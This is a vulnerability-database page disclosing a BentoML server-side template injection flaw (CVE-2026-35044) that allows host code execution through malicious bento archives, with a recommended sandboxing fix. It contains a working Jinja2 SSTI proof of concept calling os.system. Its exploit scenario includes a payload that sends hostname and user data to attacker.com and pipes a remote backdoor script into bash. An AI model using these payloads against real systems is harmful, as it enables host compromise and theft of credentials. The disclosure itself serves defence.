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Python CVE-2026-35044

HIGH
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-04-03 https://github.com/bentoml/BentoML GHSA-v959-cwq9-7hr6
8.8
CVSS 3.1
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CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Apr 04, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 03, 2026 - 23:15 vuln.today
CVE Published
Apr 03, 2026 - 23:14 nvd
HIGH 8.8

DescriptionNVD

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

python
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions:

  • jinja2.ext.do - enables {% do %} tags that execute arbitrary Python expressions
  • jinja2.ext.debug - exposes internal template engine state

Attack path:

  1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
python
if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )
  1. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).
  2. Victim imports the bento with bentoml import bento.tar - no validation of template content is performed.
  3. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:
python
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
  1. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
python
user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)
# <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, *before* Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

jinja2
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

yaml
service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bash
bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bash
bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

bash
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

Standalone verification that the Jinja2 Environment allows code execution:

bash
python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS

Impact

An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:

  • Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
  • Ability to install backdoors or pivot to other systems
  • Access to environment variables containing secrets (API keys, database credentials)
  • Potential supply chain compromise if the victim's machine is a CI/CD runner

The attack is particularly dangerous because:

  1. Users may reasonably expect bentoml containerize to be a safe build operation
  2. The malicious template is embedded inside the bento archive and not visible without manual inspection
  3. Execution happens on the host, not inside a Docker container, bypassing all isolation

Recommended Fix

Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.

In src/bentoml/_internal/container/generate.py, change lines 155-157:

python
# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
    extensions=["jinja2.ext.loopcontrols"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:

python
# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
    variable_start_string="<<",
    variable_end_string=">>",
    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)

AnalysisAI

Remote code execution in BentoML's containerization workflow allows attackers to execute arbitrary Python code on victim machines by distributing malicious bento archives containing SSTI payloads. When victims import a weaponized bento and run 'bentoml containerize', unsanitized Jinja2 template rendering executes attacker-controlled code directly on the host system - bypassing all Docker container isolation. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Create malicious bento archive with crafted Jinja2 template
Exploit
Victim imports archive and runs bentoml containerize
Execution
Jinja2 renders unsandboxed template code
Impact
Arbitrary Python executes on host machine

Vulnerability AssessmentAI

Exploitation Victim must import a malicious bento archive and execute `bentoml containerize` command. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability presents significant real-world risk despite requiring user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker creates a seemingly legitimate BentoML service for a popular ML model (e.g., sentiment analysis API) and crafts a malicious Dockerfile.template containing SSTI payload: {% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('curl attacker.com/$(hostname)/$(whoami) && curl attacker.com/backdoor.sh|bash') %}. They build the bento, export it as sentiment-model.tar, and share it via a public S3 bucket or ML model repository with enticing documentation. …
Remediation Apply the vendor-released patch by upgrading to the fixed BentoML version specified in the GitHub Security Advisory at https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all BentoML deployments and document current versions in use. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-35044 vulnerability details – vuln.today

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